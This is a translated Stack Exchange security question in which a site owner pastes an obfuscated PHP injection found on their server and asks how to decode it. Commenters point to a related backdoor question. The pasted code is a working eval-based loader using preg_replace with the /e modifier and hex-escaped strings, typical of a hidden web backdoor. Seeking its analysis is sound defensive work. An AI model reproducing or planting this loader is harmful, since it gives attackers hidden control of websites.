這是我第一次看到這種類型的PHP注入。在哪裏可以解讀PHP帶有符號字符串的遮擋文本
通常情況下,我會看到base64或基於十六進制,但這看起來有很多不同,並且填充了隱藏的字符串。但是從什麼時候字符串可以包含這樣的符號?
我在哪裏以及如何解密這種類型的注射?
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NULL); }825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpfx7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~25h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825c%x782f#7e:55946-tr.984:75983:40%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7return chr(ord($n)-1);} @error_reportintww!>!%x5c%x782400~:<h%x5c25z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x574]y85]273]y6g]273]y76]271]y7dx5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825t5!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x82f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcox3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x78-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x75c%x782f*)323zbe!-#jt0*?]+^7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x/(.*)/epreg_replacevomlpkllgd'; $suaguutlel = explode(chr((205-161)),'8687,33,4553,41,4139,49,5768,38,9451,39,6678,30,2432,22,5071,21,341,56,1190,46,8720,58,9871,59,1724,24,1624,38,1871,28,3873,48,8856,69,5041,30,2850,31,5686,38,9299,69,6421,41,3841,32,7994,48,1462,27,8175,46,8533,47,8283,53,2733,67,4488,38,4526,27,4188,64,1831,40,7112,35,397,61,3481,32,5504,40,5197,51,7043,69,8359,41,5370,63,2375,57,303,38,1271,55,4400,47,7147,44,2650,54,2555,44,3576,63,7823,22,5613,30,693,60,4886,69,6708,63,4742,69,8507,26,236,67,6771,66,6486,54,583,59,4717,25,7713,64,5169,28,3438,43,4447,41,9702,60,1326,22,2306,69,2160,46,9148,51,6886,54,2535,20,6281,35,3338,35,5137,32,5581,32,9082,66,3235,46,1489,40,8610,36,10057,49,7948,46,7499,35,5724,44,3968,56,9033,33,2599,25,7534,36,9816,55,7356,53,4252,50,1578,46,642,51,5544,37,8984,49,3921,47,3712,68,8221,23,6351,70,8042,66,74,32,1809,22,8400,52,8108,67,4024,47,3674,38,500,46,1947,70,855,48,8580,30,5339,31,3189,46,8646,41,5092,45,3134,55,7881,67,7673,40,8452,55,7458,41,5457,47,6150,33,753,59,2017,50,3077,28,2261,45,9974,56,3810,31,10030,27,2704,29,5975,36,9560,30,9652,50,45,29,3281,57,6581,43,2923,27,4349,27,9490,26,5806,67,6837,27,7570,43,6011,58,6624,54,7001,42,2624,26,4376,24,1097,42,6105,45,458,42,903,69,202,34,4302,47,3513,63,5873,33,9590,62,5276,63,2510,25,5643,43,1055,42,4993,48,1236,35,6183,22,4811,43,5433,24,1529,49,2206,55,1418,44,6940,61,7409,49,8925,59,4660,57,9199,63,8336,23,7845,36,972,49,6249,32,9262,37,1021,34,1348,70,4854,32,5906,69,546,37,6540,41,2800,50,3780,30,9368,31,7777,46,149,53,1899,48,7305,51,3105,29,2114,46,812,43,8778,20,3373,65,9930,44,2067,47,3639,35,106,43,2950,63,3013,64,9762,54,2454,56,6462,24,6316,35,7613,60,8244,39,8798,58,0,45,9399,52,4594,66,6069,36,9516,44,5248,28,1139,51,7191,54,6205,44,1748,61,4071,68,1662,62,7245,60,4955,38,2881,42,6864,22,9066,16'); $rrzeotjace=substr($rlapmcvoxs,(57647-47541),(32-25)); if (!function_exists('kxwjxmmgrq')) { function kxwjxmmgrq($niphkjlwyz, $mdgpayjksw) { $vkmrvgsktf = NULL; for($ijakfonvzd=0;$ijakfonvzd<(sizeof($niphkjlwyz)/2);$ijakfonvzd++) { $vkmrvgsktf .= substr($mdgpayjksw, $niphkjlwyz[($ijakfonvzd*2)],$niphkjlwyz[($ijakfonvzd*2)+1]); } return $vkmrvgsktf; };} $rzgpabhkfk="\x20\57\x2a\40\x6c\155\x67\141\x71\146\x67\155\x72\151\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x37\55\x32\60\x30\51\x29\54\x20\143\x68\162\x28\50\x34\64\x31\55\x33\64\x39\51\x29\54\x20\153\x78\167\x6a\170\x6d\155\x67\162\x71\50\x24\163\x75\141\x67\165\x75\164\x6c\145\x6c\54\x24\162\x6c\141\x70\155\x63\166\x6f\170\x73\51\x29\51\x3b\40\x2f\52\x20\161\x6f\154\x62\157\x71\170\x67\151\x67\40\x2a\57\x20"; $qenzappyva=substr($rlapmcvoxs,(48535-38422),(59-47)); $qenzappyva($rrzeotjace, $rzgpabhkfk, NULL); $qenzappyva=$rzgpabhkfk; $qenzappyva=(798-677); $rlapmcvoxs=$qenzappyva-1; ?>
與https://security.stackexchange.com/questions/70579/is-this-a-backdoor相關,雖然可能不是重複,因爲該問題不能解釋如何去混淆。 –
因爲這是一個純粹的PHP解釋問題,所以在StackOverflow上可能會更好。 – schroeder